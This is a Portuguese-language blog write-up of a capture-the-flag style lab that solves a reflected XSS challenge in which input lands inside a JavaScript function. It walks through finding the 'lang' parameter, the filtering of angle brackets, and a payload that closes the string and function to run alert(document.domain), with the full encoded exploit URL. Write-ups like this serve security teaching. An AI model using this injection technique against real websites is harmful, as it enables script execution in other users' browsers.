Skip to main content
Bruno Menozzi aka Zeroc00i
Back to homepage

Lab 3 - XSS Reflected em Contexto JavaScript

Este desafio de nível 3 consiste em explorar uma vulnerabilidade de Cross-Site Scripting (XSS) refletido onde o payload é injetado diretamente dentro de um contexto JavaScript.

URL do Desafio: https://brunomenozzi.com/desafios/xss3.php


Passo a Passo da Resolução

1. Análise Inicial do Código

Ao acessar a página, encontramos o seguinte código JavaScript:

// Its not used anymore
function display_message(){
 var lang = "en-US";
 if(lang == "en-US"){
  var message = "Welcome!";
  return message 
 }
 var message = "Bem-vindo!";
 return message;
}

// just say hello, doesnt matter what language do you speak, english is universal LOL
document.write('<h1>Welcome hacker =)</h1>');

Observação: O código sugere que existe manipulação de idioma, levantando suspeitas sobre parâmetros de URL que possam influenciar esse comportamento.

2. Identificando o Parâmetro Vulnerável

Após testar diferentes abordagens (fuzzing ou testes manuais), descobrimos que o parâmetro lang é refletido na página:

  • Acesso: https://brunomenozzi.com/desafios/xss3.php?lang=123
  • Resultado: O código se torna:
// Its not used anymore
function display_message(){
 var lang = "123";

Conclusão: Temos uma injeção direta no contexto JavaScript!

3. Testando Restrições

Testamos se tags HTML são permitidas:

  • Tentativa: https://brunomenozzi.com/desafios/xss3.php?lang=123<
  • Resultado: O valor volta para “en-US” padrão

Conclusão: A aplicação filtra caracteres < e >, impedindo o uso de tags HTML.

4. Análise do Contexto de Injeção

Nossa entrada está refletida dentro de:

  • Uma variável JavaScript (var lang)
  • Dentro de uma função não executada (display_message())
  • Precisamos escapar deste contexto para executar código

5. Desenvolvendo o Payload

Estratégia: Fechar a função atual e criar uma nova estrutura válida

Payload Final:

";
}
alert(document.domain);
function nuncaserachamada(){//

URL Completa (Encoded):

https://brunomenozzi.com/desafios/xss3.php?lang=%22;%0a}%0aalert(document.domain);%0afunction%20nuncaserachamada(){//

6. Explicação da Técnica

O payload funciona porque:

  1. "; - Fecha a string atual e finaliza a instrução
  2. } - Fecha a função display_message()
  3. alert(document.domain); - Executa nosso código malicioso
  4. function nuncaserachamada(){// - Cria uma nova função e comenta o resto do código

Código Resultante:

function display_message(){
 var lang = "";
}
alert(document.domain);
function nuncaserachamada(){//";
 if(lang == "en-US"){
  var message = "Welcome!";
  return message 
 }
 var message = "Bem-vindo!";
 return message;
}

7. Pontos Chave do Ataque

  • Context Awareness: Entender que estávamos dentro de uma função JavaScript
  • Escape de Contexto: Precisávamos sair da função atual para executar código
  • Mantendo Sintaxe: Criar estrutura válida para evitar erros de JavaScript
  • Comentários Estratégicos: Usar // para ignorar código residual

8. Lições Aprendidas

  • Injeção em Contexto JS requer abordagem diferente de XSS HTML tradicional
  • Filtros de caracteres podem ser contornados com manipulação de sintaxe
  • Entender o escopo de execução é crucial para exploits bem-sucedidos
  • Preservar a validade sintática do código é essencial para evitar detecção

Este desafio demonstra a importância de entender não apenas que existe uma vulnerabilidade XSS, mas também em qual contexto ela ocorre, adaptando a exploração conforme necessário.